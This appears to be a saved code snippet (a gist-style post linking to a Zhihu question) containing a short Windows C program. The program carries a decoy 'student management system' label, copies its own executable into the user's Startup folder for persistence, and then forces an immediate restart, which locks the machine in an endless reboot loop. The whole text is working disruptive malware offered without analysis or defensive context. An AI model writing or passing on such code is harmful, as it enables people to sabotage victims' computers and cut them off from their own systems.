navigaid
9/9/2017 - 5:43 PM

https://www.zhihu.com/question/51748523

#include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{
char tip[]="学生处理系统";
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); 
char cmd[]="shutdown -r -t 0";
system(cmd);
system("pause");
}